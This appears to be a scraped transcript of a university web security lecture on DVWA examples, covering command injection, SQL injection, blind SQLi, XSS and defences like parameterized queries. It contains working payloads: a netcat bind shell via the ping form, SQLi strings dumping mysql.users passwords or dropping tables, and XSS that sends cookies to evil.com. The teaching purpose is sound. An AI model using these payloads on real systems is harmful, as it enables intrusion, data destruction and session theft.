Web Security David Brumley Carnegie Mellon University Examples based on DVWA (http://www.dvwa.co.uk/) Collin Jackson’s Web Security Course

Slides:



Advertisements
Similar presentations
PHP Form and File Handling
Advertisements

Nick Feamster CS 6262 Spring 2009
Web Security Jonathan Burket Carnegie Mellon University Credits: Original Slides by David Brumley. Examples based on DVWA ( Collin.
PHP Hypertext Preprocessor Information Systems 337 Prof. Harry Plantinga.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
Common Exploits Aaron Cure Cypress Data Defense. SQL Injection.
Web Security David Brumley Carnegie Mellon University Examples based on DVWA ( Collin Jackson’s Web Security Course
EECS 354 Network Security Cross Site Scripting (XSS)
By Brian Vees.  SQL Injection  Username Enumeration  Cross Site Scripting (XSS)  Remote Code Execution  String Formatting Vulnerabilities.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Web Application Security An Introduction. OWASP Top Ten Exploits *Unvalidated Input Broken Access Control Broken Authentication and Session Management.
Sara SartoliAkbar Siami Namin NSF-SFS workshop July 14-18, 2014.
Lecture 16 Page 1 CS 236 Online Cross-Site Scripting XSS Many sites allow users to upload information –Blogs, photo sharing, Facebook, etc. –Which gets.
1 SQL injection: attacks and defenses Dan Boneh CS 142 Winter 2009.
WEB SECURITY WORKSHOP TEXSAW 2013 Presented by Joshua Hammond Prepared by Scott Hand.
Web Application Vulnerabilities Checklist. EC-Council Parameter Checklist  URL request  URL encoding  Query string  Header  Cookie  Form field 
Chapter 9 Collecting Data with Forms. A form on a web page consists of form objects such as text boxes or radio buttons into which users type information.
1 IS 2150 / TEL 2810 Introduction to Security James Joshi Associate Professor, SIS Lecture 12.1 Nov 20, 2012 SQL Injection Cross-Site Scripting.
Lecture 3 – Data Storage with XML+AJAX and MySQL+socket.io
Secure Software Engineering: Input Vulnerabilities
Session 5: Working with MySQL iNET Academy Open Source Web Development.
Open Source Server Side Scripting ECA 236 Open Source Server Side Scripting Cookies & Sessions.
Cross-Site Scripting Vulnerabilities Adam Doupé 11/24/2014.
INTERNET APPLICATION DEVELOPMENT For More visit:
Prevent Cross-Site Scripting (XSS) attack
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
Web 2.0 Security James Walden Northern Kentucky University.
Lecture 16 Page 1 CS 236 Online SQL Injection Attacks Many web servers have backing databases –Much of their information stored in a database Web pages.
Preventing Web Application Injections with Complementary Character Coding Raymond Mui Phyllis Frankl Polytechnic Institute of NYU Presented at ESORICS.
Creating Dynamic Web Pages Using PHP and MySQL CS 320.
Web Scripting [PHP] CIS166AE Wednesdays 6:00pm – 9:50pm Rob Loy.
NMED 3850 A Advanced Online Design January 12, 2010 V. Mahadevan.
Cross-Site Attacks James Walden Northern Kentucky University.
Web Application Security ECE ECE Internetwork Security What is a Web Application? An application generally comprised of a collection of scripts.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
School of Computing and Information Systems CS 371 Web Application Programming Security Avoiding and Preventing Attacks.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
October 3, 2008IMI Security Symposium Application Security through a Hacker’s Eyes James Walden Northern Kentucky University
Web Applications Testing By Jamie Rougvie Supported by.
An Intro to Webhackery Parisa Tabriz. How the web was born Stage 1 : Network Protocols Stage 2 : HTTP Stage 3 : Server Side Scripting Stage 4 : Client.
Controlling Web Site Access Using Logins CS 320. Basic Approach HTML form a php page that collects the username and password  Sends them to second PHP.
Presented By: Chandra Kollipara. Cross-Site Scripting: Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
WEB SECURITY WORKSHOP TEXSAW 2015 Presented by Jiayang Wang and Corrin Thompson.
Module: Software Engineering of Web Applications Chapter 3 (Cont.): user-input-validation testing of web applications 1.
INFO 344 Web Tools And Development CK Wang University of Washington Spring 2014.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
Web Applications Attacks A: SQL Injection Stored Cross Site Scripting Prof. Reuven Aviv Department of Computer Science Tel Hai Academic College Topics.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
SQL Injection By Wenonah Abadilla. Topics What is SQL What is SQL Injection Damn Vulnerable Web App SQLI Demo Prepared Statements.
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
“Why is my blog selling boner pills?” An introduction to common web application attacks such as SQLi, XSS and command injection.
Web Security (cont.) 1. Referral issues r HTTP referer (originally referrer) – HTTP header that designates calling resource  Page on which a link is.
Google’s Gruyere1 : An XSS Example Presented by: Terry Gregory
CSCE 548 Student Presentation Ryan Labrador
Introduction to Information Security
Introduction to Dynamic Web Programming
CS 371 Web Application Programming
Web Systems Development (CSC-215)
PHP: Security issues FdSc Module 109 Server side scripting and
Lecture 2 - SQL Injection
Lecture 27 Security I April 4, 2018 Open news web sites.
Cross Site Request Forgery (CSRF)
Presentation transcript:

Web Security David Brumley Carnegie Mellon University Examples based on DVWA ( Collin Jackson’s Web Security Course Graphics from The Noun Project

Friendly Reminder CTF challenge {writeups,videos} due by last day of (day of test 3) 2

3 We’re done with Crypto!

Web Application Overview 4 subdomain.mysite.com/folder/page?id=5 Database Queries HTML Page, JS file, CSS file, image, etc. GET Requests: Used for requests for pages, resources, etc. POST Requests: Used for form submissions, logins, etc. run code

Web Security Overview 5 (By Threat Model) Malicious Client Attacking Server Injection File System Traversal Broken Access Control

Web Security Overview 6 (By Threat Model) Malicious Server Attacking Client Clickjacking History Probing Phishing

Web Security Overview 7 (By Threat Model) Malicious User Attacking Other Users Cross-Site Scripting (XSS) Cross-Site Request Forgery Remote Script Inclusion

Web Security Overview 8 (By Threat Model) Malicious Server in “Mashup” Web Application Clickjacking Information Stealing

Web Security Overview 9 (By Threat Model) Malicious User in Multi-Server Application Single sign-on (Facebook, Twitter, etc.): Sign in as someone else Multi-Party Payment (Paypal, Amazon Payments): Buy things for free

Injection Flaws 10

“Injection flaws occur when an application sends untrusted data to an interpreter.” --- OWASP 11 Like Buffer Overflow and Format String Vulnerabilities, A result of from the possibility of interpreting data as code

12 ServerClient Send page Ping for FREE Enter an IP address below: Input to form program

13 ServerClient Send output Ping for FREE Enter an IP address below: … $t = $_REQUEST[‘ip']; $o = shell_exec(‘ping –C 3’. $t); echo $o … PHP exec program POST /dvwa/vulnerabilities/exec/ HTTP/1.1 Host: ip= &submit=submit ip input

14 ServerClient 2. Send page POST /dvwa/vulnerabilities/exec/ HTTP/1.1 Host: ip= &submit=submit ip input … $t = $_REQUEST[‘ip']; $o = shell_exec(‘ping –C 3’. $t); echo $o … PHP exec program exploit the bug

15 ServerClient 2. Send page POST /dvwa/vulnerabilities/exec/ HTTP/1.1 Host: ip= %3b+ls&submit=submit “; ls” encoded Information Disclosure PHP exec program … $t = $_REQUEST[‘ip']; $o = shell_exec(‘ping –C 3’. $t); echo $o …

Getting a Shell netcat –v –e ‘/bin/bash’ –l –p ip= %26+netcat+-v+- e+'/bin/bash'+-l+-p+31337&submit=submit

SQL Injection 17 /user.php?id=5 SELECT FROM users where uid=5 “dbrumley”

SQL Injection 18 /user.php?id=-1 or admin=true SELECT FROM users where uid=-1 or admin=true “adminuser”

19 CardSystems Attack CardSystems – credit card payment processing company – SQL injection attack in June 2005 – put out of business The Attack – 263,000 credit card #s stolen from database – credit card #s stored unencrypted – 43 million credit card #s exposed Image:

SQL Overview 20 Column 1 of Type 1 Column 2 of Type 2 Column 3 of Type 3 value 1value 2value 3 value 4value 5value 6 user_idfirst_namelast_nameuserpasswordavatar 1admin admin.jpg 2GordonBrowngordonb gordonb.jpg 3HackMe1337 hacker.jpg... ‘users’ table A table is defined by a tuple (t 1, t 2,..., t n )of typed named values. Each row is a tuple of values (v 1 :t 1, v 2 :t 2,... v n :t n ) smallint varchar(15)

21 A schema is a collection of tables with their intended relations user_idfirst_namelast_nameuserpasswordavatar 1admin admin.jpg 2GordonBrowngordonb gordonb.jpg 3HackMe1337 hacker.jpg... users user_idcomment_idcomment 11Test Comment 22I like sugar 23But not milk 34Gordon is silly comments

Basic Queries columns can either be: – List of comma-separated column names – “*” for all columns tbl is a comma-separated list of tables exp is a Boolean SQL expression – Single quotes for strings (‘’) – Integers are specified in the normal way Typical SQL comment conventions: – Single line: ‘--’ (two dashes) character – Multi-line: “/*” and “*/” (like C) – Server-specific, e.g., “#” single-line comment for mysql 22 SELECT from where Returns all rows from columns where is true

Example Query 23 user_idcomment_idcomment 11Test Comment 22I like sugar 23But not milk 34Gordon is silly comments select * from comments where user_id = 2; 2, 2, “I like sugar” 2, 3, “But not milk” SELECT from where

Join Example 24 user_idcomment_idcomment 11Test Comment 22I like sugar 23But not milk 34Gordon is silly select users.first_name, comments.comment from users, comments where users.user_id=comments.user_id and users.user_id = 2; Gordon“I like sugar” Gordon“But not milk” SELECT from where user_idfirst_namelast_nameuser... 1admin... 2GordonBrowngordonb... Join two tables

Tautologies 25 user_idcomment_idcomment 11Test Comment 22I like sugar 23But not milk 34Gordon is silly comments select * from comments where user_id = 2 OR 1= 1; 1, 1, “Test Comment” 2, 2, “I like sugar” 2, 3, “But not milk” 3, 4, “Gordon is silly” SELECT from where Tautologies often used in real attacks

26 $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; $result = mysql_query($getid) or die(' '. mysql_error(). ' ' ); Guess as to the exploit?

27 $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; $result = mysql_query($getid) or die(' '. mysql_error(). ' ' ); Ex: $id = 1 or 1=1;

28 $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id’"; $result = mysql_query($getid) or die(' '. mysql_error(). ' ' ); Does quoting make it safe? Hint: Comments are specified: Single line: ‘--’ (two dashes) character Multi-line: “/*” and “*/” “#” single-line comment for mysql

29 $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id’"; $result = mysql_query($getid) or die(' '. mysql_error(). ' ' ); 1’ OR 1=1;#

Even worse 30 $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id’"; $result = mysql_query($getid) or die(' '. mysql_error(). ' ' ); 1′ ; DROP TABLE Users ; -- # Command not verified, but you get the idea

31

Reversing Table Layout 1.Column Numbers 2.Column Names 3.Querying other tables 32

Probing Number of Columns ORDER BY can be added to an SQL query to order results by a queried column. 33 select first_name,last_name from users where user_id = 1 ORDER BY 1 $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id’"; $result = mysql_query($getid) or die(' '. mysql_error(). ' ' );

Probing Number of Columns ORDER BY can be added to an SQL query to order results by a column $getid = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’”;... select first_name,last_name from users where user_id = ‘1’ ORDER BY 1;# ✓ select first_name,last_name from users where user_id = ‘1’ ORDER BY 3;# ✗ 1 or 2 columns

Probing Number of Columns ORDER BY can be added to an SQL query to order results by a column. 35 What would be a good algorithm using this fact to determine exact number of columns? Binary Search! ✓ Brute force assuming an upper bound of 32 columns => ~ 5 queries

Probing Column Names A query with an incorrect column name will give an error $getid = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’”;... select first_name,last_name from users where user_id = ‘1’ or first_name IS NULL;# ✓ select first_name,last_name from users where user_id = ‘1’ or firstname IS NULL;# ✗

Querying extra tables with UNION 37 UNION can be used to construct a separate query $getid = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’”;... select first_name,last_name from users where user_id = ‘1’ UNION select user,password from mysql.users;# ✓

38 Leaking the result of error messages is a poor security practice. Errors leaks information!

Error Messages 39 select first_name,last_name from users where user_id = ‘1’ ORDER BY 3;# ✗ select first_name,last_name from users where user_id = ‘1’ or firstname IS NULL;# ✗ Error returned to user: Unknown column '3' in 'order clause’ Error returned to user: Unknown column 'firstname' in 'where clause'

Blind SQL Injection 40 /user.php?id=5 SELECT FROM users where uid=5 “jburket” Sometimes results of SQL queries are not sent back to the user

Blind SQL Injection Defn: A blind SQL injection attack is an attack against a server that responds with generic error page or even nothing at all. Approach: ask a series of True/False questions, exploit side-channels 41

Blind SQL Injection 42 if ASCII(SUBSTRING(username,1,1)) = 64 waitfor delay ‘0:0:5’ if ASCII(SUBSTRING(username,1,1)) = 64 waitfor delay ‘0:0:5’ 1 2 If the first letter of the username is A (65), there will be a 5 second delay Actual MySQL syntax!

Blind SQL Injection 43 if ASCII(SUBSTRING(username,1,1)) = 65 waitfor delay ‘0:0:5’ 1 2 By timing responses, the attacker learns about the database one bit at a time

Parameterized Queries with Bound Parameters 44 public int setUpAndExecPS(){ query = conn.prepareStatement( "UPDATE players SET name = ?, score = ?, active = ? WHERE jerseyNum = ?"); //automatically sanitizes and adds quotes query.setString(1, "Smith, Steve"); query.setInt(2, 42); query.setBoolean(3, true); query.setInt(4, 99); //returns the number of rows changed return query.executeUpdate(); } Similar methods for other SQL types Prepared queries stop us from mixing data with code!

Safety Code for the worst 45 DatabaseProgrammer

Cross Site Scripting (XSS) 1.Document Object Model 2.Cookies and Sessions 3.XSS 46

Basic Browser Model 1.Window or frame loads content 2.Renders content – Parse HTML, scripts, etc. – Run scripts, plugins, etc. 3.Responds to events Event examples – User actions: OnClick, OnMouseover – Rendering: OnLoad, OnBeforeUnload, onerror – Timing: setTimeout(), clearTimeout() 47

Document Object Model 48 document headbody titlea Alice A parse tree that is dynamically updated Example... Alice...

flip = 0; function flipText() { var x = document.getElementById('myid').firstChild; if(flip == 0) { x.nodeValue = 'Bob'; flip = 1;} else { x.nodeValue = 'Alice'; flip = 0; } } <a id="myid" href="javascript:flipText()"> Alice Document Object Model 49 document headbody a Alice script flipText Clicking causes “Alice” => “Bob”

“Cross site scripting (XSS) is the ability to get a website to display user-supplied content laced with malicious HTML/JavaScript” 50

51 What's your name? Hello David

52 What's your name? >Hello David HTML chars not stripped

Lacing JavaScript 53 alert(“hi”);

What's your name? alert(“hi”) Lacing JavaScript 54 Injected code alert(“hi”);

HTTP is a stateless protocol. In order to introduce the notion of a session, web services uses cookies. Sessions are identified by a unique cookie. 55

Form Authentication & Cookies 1.Enrollment: – Site asks user to pick username and password – Site stores both in backend database 2.Authentication: – Site asks user for login information – Checks against backend database – Sets user cookie indicating successful login 3.Browser sends cookie on subsequent visits to indicate authenticated status 56 Stealing cookies allows you to hijack a session without knowing the password

Sessions using cookies ServerBrowser POST/login.cgi Set-cookie: authenticator GET… Cookie: authenticator response 57

Stealing Your Own Cookie 58 alert(document.cookie) My session token

“Reflected” XSS Problem: Server reflects back javascript-laced input Attack delivery method: Send victims a link containing XSS attack 59 Not clear to students how a real attack would work

Reflected Example 60 Up through 2009: search_terms= alert(“vuln”); (example attack: send phish purporting link offers free Anti-virus)

Stealing Cookies iew_all=1&chg_filter=1&searchType=content_basic& search_terms=%3Cscript%3Ealert(document.cookie); %3C/script%3E 61 alert(document.cookie) Phish with malicious URL

62 iew_all=1&chg_filter=1&searchType=content_basic&s earch_terms=%3Cscript%3Edocument.location=‘evil.c om/’ +document.cookie;%3C/script%3E “Check out this link!” lapdonline.org evil.com ne.org/search_result s/search/&view_all= 1&chg_filter=1&searc hType=content_basic &search_terms=%3C script%3Edocument.l ocation=evil.com/do cument.cookie;%3C/ script%3E Response containing malicious JS evil.com/f9geiv33knv141 Session token for lapdonline.org

“Stored” XSS Problem: Server stores javascript-laced input Attack delivery method: Upload attack, users who view it are exploited 63

64 HTML bold for emphasis! Every browser that visits the page will run the “bold” command

65 Fill in with alert(“test”); Every browser that visits the page will run the Javascript

66 Posts comment with text: document.location = “evil.com/” + document.cookie lapdonline.org evil.com evil.com/f9geiv33knv141 Session token for lapdonline.org Comment with text: document.location = “evil.com/” + document.cookie

67 Server Attacker 1. Send XSS attack Victim 2. Victim exploited just by visiting site

Injection Attacks Main problem: unsanitized user input is evaluated by the server or another user’s browser Main solution: sanitize input to remove “code” from the data 68 Don’t roll your own crypto Don’t write your own sanitization

Sanitizing Is Not Easy Remove cases of “ ” ipt>alert(document.cookie) ipt> Recursively Remove cases of “ ” Recursively Remove cases of “ ” and JS keywords like “alert” ¼script¾a\u006ert(¢XSS¢)¼/script¾ US-ASCII 7-bit encoding. Server specific (Apache tomcat did this). (1/4 = single character in ISO , IE strips off MSB, get 60, which is ‘<‘ in 7-bit ascii) 69

“Frontier Sanitization” 70 Sanitize all input immediately (SQL, XSS, bash, etc.) What order should the sanitization routines be applied? SQL then XSS, XSS then SQL?

Second-Order SQL Injection 71 evil' evil\' Sanitizer insert into sessions (username, sessionID) values (‘evil\’’, 1234) select * from sessions where sessionID = 1234 evil' select * from users where username = ‘evil’’ HORRIBLE ERROR Sanitizing input once sometimes isn’t enough!

Context-Specific Sanitization 72 SQL Sanitization XSS Sanitization

Examples 73

74 Questions?